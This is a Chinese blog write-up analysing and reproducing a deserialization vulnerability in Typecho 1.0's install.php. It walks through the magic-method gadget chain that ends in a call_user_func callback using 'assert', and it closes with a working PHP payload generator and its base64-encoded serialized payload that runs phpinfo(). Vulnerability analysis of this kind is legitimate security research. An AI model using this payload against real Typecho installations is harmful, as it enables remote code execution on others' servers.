Typecho反序列化漏洞分析及复现

环境介绍:

typecho我下的是1.0版本的

 

下载地址:https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release

 

1、显示安装界面,防止退出

 

 这里存在三个退出条件

1)finish参数为空且目录下存在config.inc.php文件且session变量数组中的typecho变量为空,这里我们只要随便传入一个finish值

2)如果http头部中的referer为空

3)传入referer的网站要和目前访问的网站不是同一个域名

 

2、漏洞思路分析:

 

 追踪get方法:

 

 可以看到这里对post或者cookie传入的__typecho_config变量进行一个反序列化,并且不能为数组。

 

 

 这里新建了一个Typecho_Db对象,将反序列化得到的变量数组中的adapter和prefix传入,我们跟进Typecho__Db这个对象

 

 这里将adapterName这个变量直接拼接在一串字符串后面,也就是将adapterNmae当作字符串拼接之后赋值给了adapterName,这个时候如果adapterName如果为一个对象的话,就会自动调用__toString魔术方法。

 

 

 这里我们跟进Typecho_feed类的__toString魔术方法

 

 因为这里的$item['author']访问了screenName这个属性,如果这个属性是不可访问的话,就会自动执行__get魔术方法

但是进入这里需要满足条件

 

 

 

接着跟进Request.php的__get魔术方法:

 

 再跟进get函数:

 

 如果_params数组中存在索引值为$key的变量,那么就会将其赋值给$value,_httpParams也是一样,如果都不存在就将赋值为$default。

如果$value为数组的话就赋值为$default,不是的话就为本身。

 

跟进_applyFilter函数

 

 如果$value为数组就调用array_map函数,如果不是就调用call_user-func函数,重点来了,如果$filter和$value都可控的话就可以通过回调函数命令执行或者写入木马了

 

思路整理:

1、通过install.php中的反序列化将adapter和prefix变量传入Typecho_Db实例化对象中

2、通过类Typecho_Db中的__construct魔术方法将adapter视作字符串拼接赋值,调用类Typecho_Feed中的__toString魔术方法

3、访问了_items['author']中的screenName属性,调用Typecho_Request类中的__get魔术方法并且传入$key=screenName

4、定义$this->_params[$key],也就是$this->_params[‘screenName’]为我们想要执行的命令,即可赋值给$value

5、定义$this->_filter,构成回调函数,执行命令

 

 

 这里会对反序列化的内容抛出异常

 

 

 然后通过ob_end_clean()清除缓存,导致phpinfo()的内容显示不出来,要通过前面的

 

 将item中的category赋值为一个对象数组,提前报错退出,就可以显示之前的内容

 

 

 

payload:

<?php 
class Typecho_Request{
    private $_params = array();
    private $_filter = array();
    
    public function __construct()
    {
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

class Typecho_Feed{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    
    public function __construct()
    {
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
            'category' => array(new Typecho_Request())
        );
    }
}

$typecho = array(
    'adapter' => new Typecho_Feed(), 
    'prefix' => 'typecho_'
    );

echo base64_encode((serialize($typecho)));
?>

 

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJwaHBpbmZvKCkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToicGhwaW5mbygpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

 

 

posted @ 2021-05-03 01:04  1jzz  阅读(710)  评论(0编辑  收藏  举报